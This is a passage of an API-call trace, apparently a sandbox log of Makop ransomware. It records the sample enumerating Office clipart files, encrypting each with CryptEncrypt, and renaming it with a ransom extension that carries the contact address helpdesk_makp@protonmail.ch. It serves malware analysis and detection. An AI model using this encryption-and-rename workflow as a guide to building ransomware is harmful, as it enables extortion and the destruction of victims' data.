lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0112.528] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0112.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.529] GetProcessHeap () returned 0x48a0000 [0112.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.662] GetProcessHeap () returned 0x48a0000 [0112.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.666] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x439c, lpOverlapped=0x0) returned 1 [0112.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43a0) returned 1 [0112.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x43a0, lpOverlapped=0x0) returned 1 [0112.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.668] SetEndOfFile (hFile=0xf0) returned 1 [0112.675] GetProcessHeap () returned 0x48a0000 [0112.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.675] GetProcessHeap () returned 0x48a0000 [0112.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.675] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.677] CloseHandle (hObject=0xf0) returned 1 [0112.677] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0112.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0112.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.680] GetProcessHeap () returned 0x48a0000 [0112.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.684] GetProcessHeap () returned 0x48a0000 [0112.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.686] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f08, lpOverlapped=0x0) returned 1 [0112.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f10) returned 1 [0112.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f10, lpOverlapped=0x0) returned 1 [0112.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.687] SetEndOfFile (hFile=0xf0) returned 1 [0112.695] GetProcessHeap () returned 0x48a0000 [0112.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.696] GetProcessHeap () returned 0x48a0000 [0112.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.696] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.697] CloseHandle (hObject=0xf0) returned 1 [0112.697] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0112.697] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0112.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.698] GetProcessHeap () returned 0x48a0000 [0112.698] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.698] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0112.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.805] GetProcessHeap () returned 0x48a0000 [0112.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.806] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.807] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.807] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2942, lpOverlapped=0x0) returned 1 [0112.808] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2950, dwBufLen=0x2950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2950) returned 1 [0112.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.808] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2950, lpOverlapped=0x0) returned 1 [0112.809] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.809] SetEndOfFile (hFile=0xf0) returned 1 [0112.817] GetProcessHeap () returned 0x48a0000 [0112.817] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.817] GetProcessHeap () returned 0x48a0000 [0112.817] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.817] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.819] CloseHandle (hObject=0xf0) returned 1 [0112.820] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0112.820] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0112.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.822] GetProcessHeap () returned 0x48a0000 [0112.822] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.822] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0112.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.826] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.826] GetProcessHeap () returned 0x48a0000 [0112.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.826] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.828] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.828] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12ee, lpOverlapped=0x0) returned 1 [0112.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12f0, dwBufLen=0x12f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12f0) returned 1 [0112.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12f0, lpOverlapped=0x0) returned 1 [0112.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.829] SetEndOfFile (hFile=0xf0) returned 1 [0112.837] GetProcessHeap () returned 0x48a0000 [0112.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.837] GetProcessHeap () returned 0x48a0000 [0112.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.837] wsprintfW (in: param_1=0x48c4f5c, 